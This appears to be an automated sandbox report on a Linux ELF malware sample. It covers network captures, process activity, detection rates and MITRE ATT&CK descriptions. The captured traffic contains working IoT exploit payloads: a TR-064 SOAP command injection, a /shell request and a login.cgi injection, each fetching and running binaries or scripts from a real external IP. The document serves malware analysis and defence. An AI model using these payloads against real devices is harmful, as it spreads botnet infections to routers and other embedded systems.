Mar 21, 2024 05:23:12.566648006 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1089	192.168.2.14	43294	182.92.77.61	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:12.579314947 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1090	192.168.2.14	42338	179.126.196.7	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:12.712126970 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:23:12.964528084 CET	76	IN	HTTP/1.1 500 Internal Server Error Connection: Close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1091	192.168.2.14	53188	47.181.162.122	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:12.743575096 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1092	192.168.2.14	42344	179.126.196.7	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:12.964363098 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:23:13.201332092 CET	76	IN	HTTP/1.1 500 Internal Server Error Connection: Close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1093	192.168.2.14	37922	212.235.27.83	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:13.630342007 CET	228	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:23:13.872456074 CET	399	IN	HTTP/1.1 404 Not Found Date: Thu, 21 Mar 2024 06:23:16 GMT Server: Webs X-Frame-Options: SAMEORIGIN Cache-Control: no-cache Content-Length: 166 Content-Type: text/html Connection: keep-alive Keep-Alive: timeout=60, max=99 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 44 6f 63 75 6d 65 6e 74 20 45 72 72 6f 72 3a 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 41 63 63 65 73 73 20 45 72 72 6f 72 3a 20 34 30 34 20 2d 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 70 3e 43 61 6e 27 74 20 6f 70 65 6e 20 55 52 4c 3c 2f 70 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><html><head><title>Document Error: Not Found</title></head><body><h2>Access Error: 404 -- Not Found</h2><p>Can't open URL</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1094	192.168.2.14	56950	64.188.29.252	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:14.525721073 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix

System Behavior

Analysis Process: uMqeVeoVI4.elf PID: 5514, Parent PID: 5430

General

Start time (UTC):	04:21:08
Start date (UTC):	21/03/2024
Path:	/tmp/uMqeVeoVI4.elf
Arguments:	/tmp/uMqeVeoVI4.elf
File size:	4463432 bytes
MD5 hash:	cd177594338c77b895ae27c33f8f86cc

Start time (UTC):	04:21:08
Start date (UTC):	21/03/2024
Path:	/tmp/uMqeVeoVI4.elf
Arguments:	-
File size:	4463432 bytes
MD5 hash:	cd177594338c77b895ae27c33f8f86cc

Start time (UTC):	04:21:08
Start date (UTC):	21/03/2024
Path:	/bin/sh
Arguments:	sh -c "rm -rf usr/ftp && mkdir usr; >usr/ftp && mv /tmp/uMqeVeoVI4.elf usr/ftp; chmod 777 usr/ftp"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	04:21:08
Start date (UTC):	21/03/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	04:21:08
Start date (UTC):	21/03/2024
Path:	/usr/bin/rm
Arguments:	rm -rf usr/ftp
File size:	72056 bytes
MD5 hash:	aa2b5496fdbfd88e38791ab81f90b95b

Start time (UTC):	04:21:08
Start date (UTC):	21/03/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	04:21:08
Start date (UTC):	21/03/2024
Path:	/usr/bin/mkdir
Arguments:	mkdir usr
File size:	88408 bytes
MD5 hash:	088c9d1df5a28ed16c726eca15964cb7

Start time (UTC):	04:21:08
Start date (UTC):	21/03/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	04:21:08
Start date (UTC):	21/03/2024
Path:	/usr/bin/mv
Arguments:	mv /tmp/uMqeVeoVI4.elf usr/ftp
File size:	149888 bytes
MD5 hash:	504f0590fa482d4da070a702260e3716

Start time (UTC):	04:21:08
Start date (UTC):	21/03/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	04:21:08
Start date (UTC):	21/03/2024
Path:	/usr/bin/chmod
Arguments:	chmod 777 usr/ftp
File size:	63864 bytes
MD5 hash:	739483b900c045ae1374d6f53a86a279

Start time (UTC):	04:21:08
Start date (UTC):	21/03/2024
Path:	/tmp/uMqeVeoVI4.elf
Arguments:	-
File size:	4463432 bytes
MD5 hash:	cd177594338c77b895ae27c33f8f86cc

Start time (UTC):	04:21:08
Start date (UTC):	21/03/2024
Path:	/tmp/uMqeVeoVI4.elf
Arguments:	-
File size:	4463432 bytes
MD5 hash:	cd177594338c77b895ae27c33f8f86cc

Analysis Process: uMqeVeoVI4.elf PID: 5526, Parent PID: 5522

General

Start time (UTC):	04:21:08
Start date (UTC):	21/03/2024
Path:	/tmp/uMqeVeoVI4.elf
Arguments:	-
File size:	4463432 bytes
MD5 hash:	cd177594338c77b895ae27c33f8f86cc

Analysis Process: uMqeVeoVI4.elf PID: 5529, Parent PID: 5522

General

Start time (UTC):	04:21:08
Start date (UTC):	21/03/2024
Path:	/tmp/uMqeVeoVI4.elf
Arguments:	-
File size:	4463432 bytes
MD5 hash:	cd177594338c77b895ae27c33f8f86cc

Analysis Process: uMqeVeoVI4.elf PID: 5530, Parent PID: 5522

General

Start time (UTC):	04:21:08
Start date (UTC):	21/03/2024
Path:	/tmp/uMqeVeoVI4.elf
Arguments:	-
File size:	4463432 bytes
MD5 hash:	cd177594338c77b895ae27c33f8f86cc

Analysis Process: uMqeVeoVI4.elf PID: 5533, Parent PID: 5522

General

Start time (UTC):	04:21:08
Start date (UTC):	21/03/2024
Path:	/tmp/uMqeVeoVI4.elf
Arguments:	-
File size:	4463432 bytes
MD5 hash:	cd177594338c77b895ae27c33f8f86cc

Analysis Process: uMqeVeoVI4.elf PID: 5534, Parent PID: 5522

General

Start time (UTC):	04:21:08
Start date (UTC):	21/03/2024
Path:	/tmp/uMqeVeoVI4.elf
Arguments:	-
File size:	4463432 bytes
MD5 hash:	cd177594338c77b895ae27c33f8f86cc

Analysis Process: uMqeVeoVI4.elf PID: 5537, Parent PID: 5522

General

Start time (UTC):	04:21:08
Start date (UTC):	21/03/2024
Path:	/tmp/uMqeVeoVI4.elf
Arguments:	-
File size:	4463432 bytes
MD5 hash:	cd177594338c77b895ae27c33f8f86cc

Analysis Process: uMqeVeoVI4.elf PID: 5538, Parent PID: 5522

General

Start time (UTC):	04:21:08
Start date (UTC):	21/03/2024
Path:	/tmp/uMqeVeoVI4.elf
Arguments:	-
File size:	4463432 bytes
MD5 hash:	cd177594338c77b895ae27c33f8f86cc

Analysis Process: uMqeVeoVI4.elf PID: 5539, Parent PID: 5522

General

Start time (UTC):	04:21:08
Start date (UTC):	21/03/2024
Path:	/tmp/uMqeVeoVI4.elf
Arguments:	-
File size:	4463432 bytes
MD5 hash:	cd177594338c77b895ae27c33f8f86cc

Analysis Process: uMqeVeoVI4.elf PID: 5542, Parent PID: 5522

General

Start time (UTC):	04:21:08
Start date (UTC):	21/03/2024
Path:	/tmp/uMqeVeoVI4.elf
Arguments:	-
File size:	4463432 bytes
MD5 hash:	cd177594338c77b895ae27c33f8f86cc

Analysis Process: uMqeVeoVI4.elf PID: 5543, Parent PID: 5522

General

Start time (UTC):	04:21:08
Start date (UTC):	21/03/2024
Path:	/tmp/uMqeVeoVI4.elf
Arguments:	-
File size:	4463432 bytes
MD5 hash:	cd177594338c77b895ae27c33f8f86cc

Analysis Process: uMqeVeoVI4.elf PID: 5544, Parent PID: 5522

General

Start time (UTC):	04:21:08
Start date (UTC):	21/03/2024
Path:	/tmp/uMqeVeoVI4.elf
Arguments:	-
File size:	4463432 bytes
MD5 hash:	cd177594338c77b895ae27c33f8f86cc

Analysis Process: uMqeVeoVI4.elf PID: 5545, Parent PID: 5522

General

Start time (UTC):	04:21:08
Start date (UTC):	21/03/2024
Path:	/tmp/uMqeVeoVI4.elf
Arguments:	-
File size:	4463432 bytes
MD5 hash:	cd177594338c77b895ae27c33f8f86cc

Analysis Process: uMqeVeoVI4.elf PID: 5547, Parent PID: 5522

General

Start time (UTC):	04:21:08
Start date (UTC):	21/03/2024
Path:	/tmp/uMqeVeoVI4.elf
Arguments:	-
File size:	4463432 bytes
MD5 hash:	cd177594338c77b895ae27c33f8f86cc

Analysis Process: uMqeVeoVI4.elf PID: 5550, Parent PID: 5522

General

Start time (UTC):	04:21:08
Start date (UTC):	21/03/2024
Path:	/tmp/uMqeVeoVI4.elf
Arguments:	-
File size:	4463432 bytes
MD5 hash:	cd177594338c77b895ae27c33f8f86cc

Analysis Process: uMqeVeoVI4.elf PID: 5551, Parent PID: 5522

General

Start time (UTC):	04:21:08
Start date (UTC):	21/03/2024
Path:	/tmp/uMqeVeoVI4.elf
Arguments:	-
File size:	4463432 bytes
MD5 hash:	cd177594338c77b895ae27c33f8f86cc

Analysis Process: uMqeVeoVI4.elf PID: 5553, Parent PID: 5522

General

Start time (UTC):	04:21:08
Start date (UTC):	21/03/2024
Path:	/tmp/uMqeVeoVI4.elf
Arguments:	-
File size:	4463432 bytes
MD5 hash:	cd177594338c77b895ae27c33f8f86cc

Analysis Process: uMqeVeoVI4.elf PID: 5555, Parent PID: 5522

General

Start time (UTC):	04:21:08
Start date (UTC):	21/03/2024
Path:	/tmp/uMqeVeoVI4.elf
Arguments:	-
File size:	4463432 bytes
MD5 hash:	cd177594338c77b895ae27c33f8f86cc

Analysis Process: uMqeVeoVI4.elf PID: 5557, Parent PID: 5522

General

Start time (UTC):	04:21:08
Start date (UTC):	21/03/2024
Path:	/tmp/uMqeVeoVI4.elf
Arguments:	-
File size:	4463432 bytes
MD5 hash:	cd177594338c77b895ae27c33f8f86cc

Start time (UTC):	04:21:08
Start date (UTC):	21/03/2024
Path:	/tmp/uMqeVeoVI4.elf
Arguments:	-
File size:	4463432 bytes
MD5 hash:	cd177594338c77b895ae27c33f8f86cc

Start time (UTC):	04:21:08
Start date (UTC):	21/03/2024
Path:	/tmp/uMqeVeoVI4.elf
Arguments:	-
File size:	4463432 bytes
MD5 hash:	cd177594338c77b895ae27c33f8f86cc

Start time (UTC):	04:21:08
Start date (UTC):	21/03/2024
Path:	/usr/libexec/gnome-session-binary
Arguments:	-
File size:	334664 bytes
MD5 hash:	d9b90be4f7db60cb3c2d3da6a1d31bfb

Start time (UTC):	04:21:08
Start date (UTC):	21/03/2024
Path:	/bin/sh
Arguments:	/bin/sh -e -u -c "export GIO_LAUNCHED_DESKTOP_FILE_PID=$$; exec \"$@\"" sh /usr/libexec/gsd-housekeeping
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	04:21:08
Start date (UTC):	21/03/2024
Path:	/usr/libexec/gsd-housekeeping
Arguments:	/usr/libexec/gsd-housekeeping
File size:	51840 bytes
MD5 hash:	b55f3394a84976ddb92a2915e5d76914

Source: uMqeVeoVI4.elf	ReversingLabs: Detection: 65%
Source: uMqeVeoVI4.elf	Virustotal: Detection: 55%			Perma Link

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).
Tactics:	Defense Evasion
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report uMqeVeoVI4.elf

Overview

General Information

Detection

Signatures

Classification

Analysis Advice

General Information

Warnings

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Initial Sample

Memory Dumps

Snort Signatures

Joe Sandbox Signatures

AV Detection

Spreading

Networking

System Summary

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

Static ELF Info

ELF header

Sections

Program Segments

Network Behavior

Network Port Distribution

TCP Packets

HTTP Packets

System Behavior

Analysis Process: uMqeVeoVI4.elf PID: 5514, Parent PID: 5430

General

File Activities

File Opened

File Read

Process Activities

Process Forked

Prctl Requested

System Activities

Query System Information (uname)

Chronological Activities

Analysis Process: uMqeVeoVI4.elf PID: 5516, Parent PID: 5514

General

Linux Analysis Report
uMqeVeoVI4.elf